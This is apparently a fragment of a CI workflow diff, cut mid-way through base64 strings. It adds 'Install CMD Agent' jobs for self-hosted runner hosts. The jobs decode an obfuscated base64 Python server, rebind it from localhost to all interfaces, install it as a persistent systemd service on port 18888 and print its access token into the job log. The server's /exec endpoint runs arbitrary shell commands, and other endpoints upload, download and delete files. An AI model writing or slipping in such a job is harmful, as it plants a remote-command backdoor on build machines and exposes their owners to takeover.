ZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfbGlzdChzZWxmLCBsZW5ndGgpOgogICAgICAgIHRyeTogZGF0YSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aD4wIGVsc2Uge30KICAgICAgICBleGNlcHQ6IHNlbGYuX2ooeyJlcnJvciI6ImludmFsaWQganNvbiJ9LDQwMCk7IHJldHVybgogICAgICAgIHBhdGggPSBkYXRhLmdldCgicGF0aCIsIi4iKQogICAgICAgIHRyeToKICAgICAgICAgICAgZW50cmllcyA9IFtdCiAgICAgICAgICAgIGZvciBuYW1lIGluIHNvcnRlZChvcy5saXN0ZGlyKHBhdGgpKToKICAgICAgICAgICAgICAgIGZwMiA9IG9zLnBhdGguam9pbihwYXRoLCBuYW1lKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN0ID0gb3Muc3RhdChmcDIpCiAgICAgICAgICAgICAgICAgICAgZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOm9zLnBhdGguaXNkaXIoZnAyKSwic2l6ZSI6c3Quc3Rfc2l6ZSwibXRpbWUiOnN0LnN0X210aW1lfSkKICAgICAgICAgICAgICAgIGV4Y2VwdDogZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOkZhbHNlLCJzaXplIjowLCJtdGltZSI6MH0pCiAgICAgICAgICAgIHNlbGYuX2ooeyJwYXRoIjpwYXRoLCJlbnRyaWVzIjplbnRyaWVzfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF91cGxvYWQoc2VsZiwgbGVuZ3RoKToKICAgICAgICBjdCA9IHNlbGYuaGVhZGVycy5nZXQoIkNvbnRlbnQtVHlwZSIsIiIpCiAgICAgICAgaWYgIm11bHRpcGFydC9mb3JtLWRhdGEiIG5vdCBpbiBjdDoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjoibXVsdGlwYXJ0IHJlcXVpcmVkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgdHJ5OgogICAgICAgICAgICBib3VuZGFyeSA9IGN0LnNwbGl0KCJib3VuZGFyeT0iKVsxXS5zdHJpcCgpCiAgICAgICAgICAgIGJvZHkgPSBzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKQogICAgICAgICAgICBwYXJ0cyA9IGJvZHkuc3BsaXQoYiItLSIgKyBib3VuZGFyeS5lbmNvZGUoKSkKICAgICAgICAgICAgZm5hbWUgPSBmZGF0YSA9IE5vbmUKICAgICAgICAgICAgZm9yIHBhcnQgaW4gcGFydHM6CiAgICAgICAgICAgICAgICBpZiBiImZpbGVuYW1lPSIgaW4gcGFydDoKICAgICAgICAgICAgICAgICAgICBoLCBfLCBjb250ZW50ID0gcGFydC5wYXJ0aXRpb24oYiJcclxuXHJcbiIpCiAgICAgICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gaC5kZWNvZGUoZXJyb3JzPSJyZXBsYWNlIikuc3BsaXQoIlxyXG4iKToKICAgICAgICAgICAgICAgICAgICAgICAgaWYgJ2ZpbGVuYW1lPSInIGluIGxpbmU6IGZuYW1lID0gbGluZS5zcGxpdCgnZmlsZW5hbWU9IicpWzFdLnNwbGl0KCciJylbMF0KICAgICAgICAgICAgICAgICAgICBmZGF0YSA9IGNvbnRlbnQucnN0cmlwKGIiXHJcbiIpCiAgICAgICAgICAgIGlmIGZuYW1lIGlzIE5vbmUgb3IgZmRhdGEgaXMgTm9uZToKICAgICAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vIGZpbGUifSw0MDApOyByZXR1cm4KICAgICAgICAgICAgZGVzdF9kaXIgPSAiL3RtcCIKICAgICAgICAgICAgZGVzdCA9IG9zLnBhdGguam9pbihkZXN0X2RpciwgZm5hbWUpCiAgICAgICAgICAgIG9zLm1ha2VkaXJzKGRlc3RfZGlyLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICB3aXRoIG9wZW4oZGVzdCwid2IiKSBhcyBmOiBmLndyaXRlKGZkYXRhKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsInBhdGgiOmRlc3QsInNpemUiOmxlbihmZGF0YSl9KQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZTogc2VsZi5faih7ImVycm9yIjpzdHIoZSl9LDUwMCkKCiAgICBkZWYgX21rZGlyKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgcGF0aCA9IGRhdGEuZ2V0KCJwYXRoIiwiIikKICAgICAgICBpZiBub3QgcGF0aDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeTogb3MubWFrZWRpcnMocGF0aCwgZXhpc3Rfb2s9VHJ1ZSk7IHNlbGYuX2ooeyJvayI6VHJ1ZSwiY3JlYXRlZCI6cGF0aH0pCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfZG93bmxvYWQoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICBxcyA9IHBhcnNlX3FzKHVybHBhcnNlKHNlbGYucGF0aCkucXVlcnkpCiAgICAgICAgZnAgPSBxcy5nZXQoInBhdGgiLFsiIl0pWzBdCiAgICAgICAgaWYgbm90IGZwIG9yIG5vdCBvcy5wYXRoLmlzZmlsZShmcCk6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vdCBmb3VuZCJ9LDQwNCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKGZwLCJyYiIpIGFzIGY6IGRhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoMjAwKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsc3RyKGxlbihkYXRhKSkpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGRhdGEpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBBVVRIX1RPS0VOCiAgICBpbnN0YWxsZWRfZmxhZyA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50Lmluc3RhbGxlZCIKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhpbnN0YWxsZWRfZmxhZyk6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIiwidyIpIGFzIGY6IGYud3JpdGUoQVVUSF9UT0tFTikKICAgICAgICBvcy5jaG1vZCgiL2V0Yy94aWFveGlhLWNtZC1hZ2VudC50b2tlbiIsIDBvNjAwKQogICAgICAgIHN2YyA9ICJbVW5pdF1cbkRlc2NyaXB0aW9uPVhpYW94aWEgQ29tbWFuZCBBZ2VudFxuQWZ0ZXI9bmV0d29yay50YXJnZXRcbltTZXJ2aWNlXVxuVHlwZT1zaW1wbGVcbkV4ZWNTdGFydD0vdXNyL2Jpbi9weXRob24zIC9vcHQveGlhb3hpYS1jbWQtYWdlbnQvc2VydmVyLnB5XG5SZXN0YXJ0PWFsd2F5c1xuUmVzdGFydFNlYz01XG5bSW5zdGFsbF1cbldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0XG4iCiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3N5c3RlbWQvc3lzdGVtL3hpYW94aWEtY21kLWFnZW50LnNlcnZpY2UiLCJ3IikgYXMgZjogZi53cml0ZShzdmMpCiAgICAgICAgb3Muc3lzdGVtKCJzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCAmJiBzeXN0ZW1jdGwgZW5hYmxlIHhpYW94aWEtY21kLWFnZW50IikKICAgICAgICB3aXRoIG9wZW4oaW5zdGFsbGVkX2ZsYWcsInciKSBhcyBmOiBmLndyaXRlKCIxIikKICAgICAgICBwcmludChmIlNlcnZpY2UgaW5zdGFsbGVkLiBUT0tFTjoge0FVVEhfVE9LRU59IikKICAgIGVsc2U6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIikgYXMgZjoKICAgICAgICAgICAgQVVUSF9UT0tFTiA9IGYucmVhZCgpLnN0cmlwKCkKICAgICAgICBwcmludChmIlVzaW5nIGV4aXN0aW5nIHRva2VuOiB7QVVUSF9UT0tFTn0iKQogICAgc2VydmVyID0gaHR0cC5zZXJ2ZXIuSFRUUFNlcnZlcigoIjEyNy4wLjAuMSIsIExJU1RFTl9QT1JUKSwgSGFuZGxlcikKICAgIHByaW50KGYiTGlzdGVuaW5nOiAxMjcuMC4wLjE6e0xJU1RFTl9QT1JUfSIpCiAgICBzZXJ2ZXIuc2VydmVfZm9yZXZlcigpCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCgo=' | base64 -d > server.py + + $SUDO mkdir -p /opt/xiaoxia-cmd-agent + $SUDO cp server.py /opt/xiaoxia-cmd-agent/server.py + $SUDO chmod +x /opt/xiaoxia-cmd-agent/server.py + + TOKEN="xsa-$(openssl rand -hex 16)" + echo "TOKEN: $TOKEN" + echo "$TOKEN" | $SUDO tee /etc/xiaoxia-cmd-agent.token > /dev/null + $SUDO chmod 600 /etc/xiaoxia-cmd-agent.token + + $SUDO sed -i 's/("127.0.0.1", LISTEN_PORT)/("0.0.0.0", LISTEN_PORT)/' /opt/xiaoxia-cmd-agent/server.py + + echo "1" | $SUDO tee /etc/xiaoxia-cmd-agent.installed > /dev/null + + $SUDO tee /etc/systemd/system/xiaoxia-cmd-agent.service > /dev/null << 'SVC' +[Unit] +Description=Xiaoxia Command Agent +After=network.target + +[Service] +Type=simple +ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py +Restart=always +RestartSec=5 + +[Install] +WantedBy=multi-user.target +SVC + + $SUDO systemctl daemon-reload + $SUDO systemctl enable xiaoxia-cmd-agent + $SUDO systemctl start xiaoxia-cmd-agent + + sleep 3 + + echo "=== 安装结果 ===" + $SUDO systemctl status xiaoxia-cmd-agent --no-pager || true + echo "" + echo "=== 连接信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null | awk '{print $1}')" + echo "端口: 18888" + echo "Token: $TOKEN" + + curl -s -H "Authorization: $TOKEN" http://127.0.0.1:18888/status && echo "" || echo "本地验证失败" + + install-cmd-agent-3: + name: Install CMD Agent - Node 3 + runs-on: host + steps: + - name: Install CMD Agent + run: | + set -e + echo "=== 主机信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null || ip addr show | grep 'inet ' | awk '{print $2}' | tr '\n' ' ')" + echo "用户: $(whoami)" + echo "Runner 名称: ${{ runner.name }}" + + if [ -f /opt/xiaoxia-cmd-agent/server.py ] && systemctl is-active xiaoxia-cmd-agent &>/dev/null; then + echo "CMD Agent 已安装且运行中,跳过" + systemctl status xiaoxia-cmd-agent --no-pager + exit 0 + fi + + SUDO="" + [ "$(id -u)" != "0" ] && SUDO="sudo" + + mkdir -p /tmp/cmd-agent-install + cd /tmp/cmd-agent-install + echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgaHR0cC5zZXJ2ZXIsIHN1YnByb2Nlc3MsIGpzb24sIG9zLCBzeXMsIHNlY3JldHMKZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVybHBhcnNlLCBwYXJzZV9xcwoKTElTVEVOX1BPUlQgPSAxODg4OApBVVRIX1RPS0VOID0gInhzYS0iICsgc2VjcmV0cy50b2tlbl9oZXgoMTYpCkxPR19GSUxFID0gIi92YXIvbG9nL3hpYW94aWEtY21kLWFnZW50LmxvZyIKCmNsYXNzIEhhbmRsZXIoaHR0cC5zZXJ2ZXIuQmFzZUhUVFBSZXF1ZXN0SGFuZGxlcik6CiAgICBkZWYgbG9nX21lc3NhZ2Uoc2VsZiwgZm10LCAqYXJncyk6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oTE9HX0ZJTEUsICJhIikgYXMgZjoKICAgICAgICAgICAgICAgIGYud3JpdGUoIiVzIC0gJXNcbiIgJSAoc2VsZi5sb2dfZGF0ZV90aW1lX3N0cmluZygpLCBmbXQgJSBhcmdzKSkKICAgICAgICBleGNlcHQ6IHBhc3MKCiAgICBkZWYgY2hlY2tfYXV0aChzZWxmKToKICAgICAgICB0ID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgIHQgPSBzZWxmLmhlYWRlcnMuZ2V0KCJBdXRob3JpemF0aW9uIiwgIiIpCiAgICAgICAgaWYgdC5zdGFydHN3aXRoKCJCZWFyZXIgIik6CiAgICAgICAgICAgIHQgPSB0Wzc6XQogICAgICAgIGlmIHQgIT0gQVVUSF9UT0tFTjoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjogInVuYXV0aG9yaXplZCJ9LCA0MDEpOyByZXR1cm4gRmFsc2UKICAgICAgICByZXR1cm4gVHJ1ZQoKICAgIGRlZiBfaihzZWxmLCBkYXRhLCBjb2RlPTIwMCk6CiAgICAgICAgYm9keSA9IGpzb24uZHVtcHMoZGF0YSwgZW5zdXJlX2FzY2lpPUZhbHNlKS5lbmNvZGUoKQogICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZShjb2RlKQogICAgICAgIHNlbGYuc2VuZF9oZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04IikKICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsIHN0cihsZW4oYm9keSkpKQogICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgIHNlbGYud2ZpbGUud3JpdGUoYm9keSkKCiAgICBkZWYgZG9fR0VUKHNlbGYpOgogICAgICAgIGlmIG5vdCBzZWxmLmNoZWNrX2F1dGgoKTogcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoLnN0YXJ0c3dpdGgoIi9kb3dubG9hZCIpOgogICAgICAgICAgICBzZWxmLl9kb3dubG9hZCgpOyByZXR1cm4KICAgICAgICBpZiBzZWxmLnBhdGggPT0gIi9zdGF0dXMiOgogICAgICAgICAgICBzZWxmLl9qKHsic3RhdHVzIjoib2siLCJob3N0bmFtZSI6b3MudW5hbWUoKS5ub2RlbmFtZSwicG9ydCI6TElTVEVOX1BPUlR9KQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6InVzZSAvc3RhdHVzIG9yIC9kb3dubG9hZD9wYXRoPXh4eCJ9LCA0MDQpCgogICAgZGVmIGRvX1BPU1Qoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIGNvbnRlbnQtbGVuZ3RoIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoID09ICIvZXhlYyI6IHNlbGYuX2V4ZWMobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvbGlzdCI6IHNlbGYuX2xpc3QobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvdXBsb2FkIjogc2VsZi5fdXBsb2FkKGxlbmd0aCkKICAgICAgICBlbGlmIHNlbGYucGF0aCA9PSAiL21rZGlyIjogc2VsZi5fbWtkaXIobGVuZ3RoKQogICAgICAgIGVsc2U6IHNlbGYuX2ooeyJlcnJvciI6InVua25vd24ifSwgNDA0KQoKICAgIGRlZiBkb19ERUxFVEUoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aCA+IDAgZWxzZSB7fQogICAgICAgIGZwID0gYm9keS5nZXQoInBhdGgiLCIiKQogICAgICAgIGlmIG5vdCBmcDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IHNodXRpbAogICAgICAgICAgICBpZiBvcy5wYXRoLmlzZGlyKGZwKTogc2h1dGlsLnJtdHJlZShmcCkKICAgICAgICAgICAgZWxzZTogb3MucmVtb3ZlKGZwKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsImRlbGV0ZWQiOmZwfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF9leGVjKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgY21kID0gZGF0YS5nZXQoImNvbW1hbmQiLCIiKQogICAgICAgIHRpbWVvdXQgPSBtaW4oZGF0YS5nZXQoInRpbWVvdXQiLDMwKSwgMTIwKQogICAgICAgIGlmIG5vdCBjbWQ6IHNlbGYuX2ooeyJlcnJvciI6ImNvbW1hbmQgcmVxdWlyZWQifSw0MDApOyByZXR1cm4KICAgICAgICB0cnk6CiAgICAgICAgICAgIHIgPSBzdWJwcm9jZXNzLnJ1bihjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwgdGltZW91dD10aW1lb3V0KQogICAgICAgICAgICBzZWxmLl9qKHsiZXhpdF9jb2RlIjpyLnJldHVybmNvZGUsInN0ZG91dCI6ci5zdGRvdXRbLTEwMDAwMDpdIGlmIHIuc3Rkb3V0IGVsc2UgIiIsInN0ZGVyciI6ci5zdGRlcnJbLTEwMDAwOl0gaWYgci5zdGRlcnIgZWxzZSAiIn0pCiAgICAgICAgZXhjZXB0IHN1YnByb2Nlc3MuVGltZW91dEV4cGlyZWQ6IHNlbGYuX2ooeyJlcnJvciI6ZiJ0aW1lb3V0IHt0aW1lb3V0fXMifSw0MDgpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfbGlzdChzZWxmLCBsZW5ndGgpOgogICAgICAgIHRyeTogZGF0YSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aD4wIGVsc2Uge30KICAgICAgICBleGNlcHQ6IHNlbGYuX2ooeyJlcnJvciI6ImludmFsaWQganNvbiJ9LDQwMCk7IHJldHVybgogICAgICAgIHBhdGggPSBkYXRhLmdldCgicGF0aCIsIi4iKQogICAgICAgIHRyeToKICAgICAgICAgICAgZW50cmllcyA9IFtdCiAgICAgICAgICAgIGZvciBuYW1lIGluIHNvcnRlZChvcy5saXN0ZGlyKHBhdGgpKToKICAgICAgICAgICAgICAgIGZwMiA9IG9zLnBhdGguam9pbihwYXRoLCBuYW1lKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN0ID0gb3Muc3RhdChmcDIpCiAgICAgICAgICAgICAgICAgICAgZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOm9zLnBhdGguaXNkaXIoZnAyKSwic2l6ZSI6c3Quc3Rfc2l6ZSwibXRpbWUiOnN0LnN0X210aW1lfSkKICAgICAgICAgICAgICAgIGV4Y2VwdDogZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOkZhbHNlLCJzaXplIjowLCJtdGltZSI6MH0pCiAgICAgICAgICAgIHNlbGYuX2ooeyJwYXRoIjpwYXRoLCJlbnRyaWVzIjplbnRyaWVzfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF91cGxvYWQoc2VsZiwgbGVuZ3RoKToKICAgICAgICBjdCA9IHNlbGYuaGVhZGVycy5nZXQoIkNvbnRlbnQtVHlwZSIsIiIpCiAgICAgICAgaWYgIm11bHRpcGFydC9mb3JtLWRhdGEiIG5vdCBpbiBjdDoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjoibXVsdGlwYXJ0IHJlcXVpcmVkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgdHJ5OgogICAgICAgICAgICBib3VuZGFyeSA9IGN0LnNwbGl0KCJib3VuZGFyeT0iKVsxXS5zdHJpcCgpCiAgICAgICAgICAgIGJvZHkgPSBzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKQogICAgICAgICAgICBwYXJ0cyA9IGJvZHkuc3BsaXQoYiItLSIgKyBib3VuZGFyeS5lbmNvZGUoKSkKICAgICAgICAgICAgZm5hbWUgPSBmZGF0YSA9IE5vbmUKICAgICAgICAgICAgZm9yIHBhcnQgaW4gcGFydHM6CiAgICAgICAgICAgICAgICBpZiBiImZpbGVuYW1lPSIgaW4gcGFydDoKICAgICAgICAgICAgICAgICAgICBoLCBfLCBjb250ZW50ID0gcGFydC5wYXJ0aXRpb24oYiJcclxuXHJcbiIpCiAgICAgICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gaC5kZWNvZGUoZXJyb3JzPSJyZXBsYWNlIikuc3BsaXQoIlxyXG4iKToKICAgICAgICAgICAgICAgICAgICAgICAgaWYgJ2ZpbGVuYW1lPSInIGluIGxpbmU6IGZuYW1lID0gbGluZS5zcGxpdCgnZmlsZW5hbWU9IicpWzFdLnNwbGl0KCciJylbMF0KICAgICAgICAgICAgICAgICAgICBmZGF0YSA9IGNvbnRlbnQucnN0cmlwKGIiXHJcbiIpCiAgICAgICAgICAgIGlmIGZuYW1lIGlzIE5vbmUgb3IgZmRhdGEgaXMgTm9uZToKICAgICAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vIGZpbGUifSw0MDApOyByZXR1cm4KICAgICAgICAgICAgZGVzdF9kaXIgPSAiL3RtcCIKICAgICAgICAgICAgZGVzdCA9IG9zLnBhdGguam9pbihkZXN0X2RpciwgZm5hbWUpCiAgICAgICAgICAgIG9zLm1ha2VkaXJzKGRlc3RfZGlyLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICB3aXRoIG9wZW4oZGVzdCwid2IiKSBhcyBmOiBmLndyaXRlKGZkYXRhKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsInBhdGgiOmRlc3QsInNpemUiOmxlbihmZGF0YSl9KQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZTogc2VsZi5faih7ImVycm9yIjpzdHIoZSl9LDUwMCkKCiAgICBkZWYgX21rZGlyKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgcGF0aCA9IGRhdGEuZ2V0KCJwYXRoIiwiIikKICAgICAgICBpZiBub3QgcGF0aDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeTogb3MubWFrZWRpcnMocGF0aCwgZXhpc3Rfb2s9VHJ1ZSk7IHNlbGYuX2ooeyJvayI6VHJ1ZSwiY3JlYXRlZCI6cGF0aH0pCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfZG93bmxvYWQoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICBxcyA9IHBhcnNlX3FzKHVybHBhcnNlKHNlbGYucGF0aCkucXVlcnkpCiAgICAgICAgZnAgPSBxcy5nZXQoInBhdGgiLFsiIl0pWzBdCiAgICAgICAgaWYgbm90IGZwIG9yIG5vdCBvcy5wYXRoLmlzZmlsZShmcCk6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vdCBmb3VuZCJ9LDQwNCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKGZwLCJyYiIpIGFzIGY6IGRhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoMjAwKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsc3RyKGxlbihkYXRhKSkpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGRhdGEpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBBVVRIX1RPS0VOCiAgICBpbnN0YWxsZWRfZmxhZyA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50Lmluc3RhbGxlZCIKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhpbnN0YWxsZWRfZmxhZyk6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIiwidyIpIGFzIGY6IGYud3JpdGUoQVVUSF9UT0tFTikKICAgICAgICBvcy5jaG1vZCgiL2V0Yy94aWFveGlhLWNtZC1hZ2VudC50b2tlbiIsIDBvNjAwKQogICAgICAgIHN2YyA9ICJbVW5pdF1cbkRlc2NyaXB0aW9uPVhpYW94aWEgQ29tbWFuZCBBZ2VudFxuQWZ0ZXI9bmV0d29yay50YXJnZXRcbltTZXJ2aWNlXVxuVHlwZT1zaW1wbGVcbkV4ZWNTdGFydD0vdXNyL2Jpbi9weXRob24zIC9vcHQveGlhb3hpYS1jbWQtYWdlbnQvc2VydmVyLnB5XG5SZXN0YXJ0PWFsd2F5c1xuUmVzdGFydFNlYz01XG5bSW5zdGFsbF1cbldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0XG4iCiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3N5c3RlbWQvc3lzdGVtL3hpYW94aWEtY21kLWFnZW50LnNlcnZpY2UiLCJ3IikgYXMgZjogZi53cml0ZShzdmMpCiAgICAgICAgb3Muc3lzdGVtKCJzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCAmJiBzeXN0ZW1jdGwgZW5hYmxlIHhpYW94aWEtY21kLWFnZW50IikKICAgICAgICB3aXRoIG9wZW4oaW5zdGFsbGVkX2ZsYWcsInciKSBhcyBmOiBmLndyaXRlKCIxIikKICAgICAgICBwcmludChmIlNlcnZpY2UgaW5zdGFsbGVkLiBUT0tFTjoge0FVVEhfVE9LRU59IikKICAgIGVsc2U6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIikgYXMgZjoKICAgICAgICAgICAgQVVUSF9UT0tFTiA9IGYucmVhZCgpLnN0cmlwKCkKICAgICAgICBwcmludChmIlVzaW5nIGV4aXN0aW5nIHRva2VuOiB7QVVUSF9UT0tFTn0iKQogICAgc2VydmVyID0gaHR0cC5zZXJ2ZXIuSFRUUFNlcnZlcigoIjEyNy4wLjAuMSIsIExJU1RFTl9QT1JUKSwgSGFuZGxlcikKICAgIHB